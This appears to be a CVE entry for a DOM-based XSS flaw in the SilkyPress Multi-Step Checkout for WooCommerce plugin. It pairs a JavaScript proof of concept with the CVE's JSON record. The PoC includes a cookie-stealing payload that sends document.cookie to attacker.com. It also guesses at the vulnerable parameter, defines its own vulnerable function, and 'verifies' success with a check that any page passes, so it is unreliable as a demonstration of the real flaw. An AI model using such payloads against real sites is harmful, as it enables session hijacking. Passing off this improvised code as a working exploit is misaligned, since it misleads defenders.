CVE-2025-67542

// CVE-2025-67542 DOM-Based XSS PoC // Target: SilkyPress Multi-Step Checkout for WooCommerce <= 2.33 // Malicious URL construction const maliciousPayload = '<script>alert(String.fromCharCode(88,83,83))</script>'; const targetUrl = window.location.origin + '/checkout/'; // Attack vector: Inject via URL parameter (example) // The actual vulnerable parameter depends on the plugin's implementation const pocUrl = targetUrl + '?step=1&param=' + encodeURIComponent(maliciousPayload); console.log('CVE-2025-67542 PoC URL:', pocUrl); // Alternative PoC: Direct DOM injection const attackScript = document.createElement('script'); attackScript.textContent = ` // Cookie stealing payload const stolenCookies = document.cookie; fetch('https://attacker.com/steal?cookies=' + encodeURIComponent(stolenCookies)); // Session hijacking console.log('Session hijacking - Cookies:', stolenCookies); `; // DOM XSS trigger example (simplified) function vulnerableFunction(userInput) { // VULNERABLE: Direct DOM manipulation without sanitization document.getElementById('checkout-field').innerHTML = userInput; } // Trigger the vulnerability vulnerableFunction(maliciousPayload); // Verification if (document.querySelector('script')) { console.log('XSS payload injected successfully'); }

{"cve": {"id": "CVE-2025-67542", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:29.480", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SilkyPress Multi-Step Checkout for WooCommerce wp-multi-step-checkout allows DOM-Based XSS.This issue affects Multi-Step Checkout for WooCommerce: from n/a through <= 2.33."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-multi-step-checkout/vulnerability/wordpress-multi-step-checkout-for-woocommerce-plugin-2-33-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}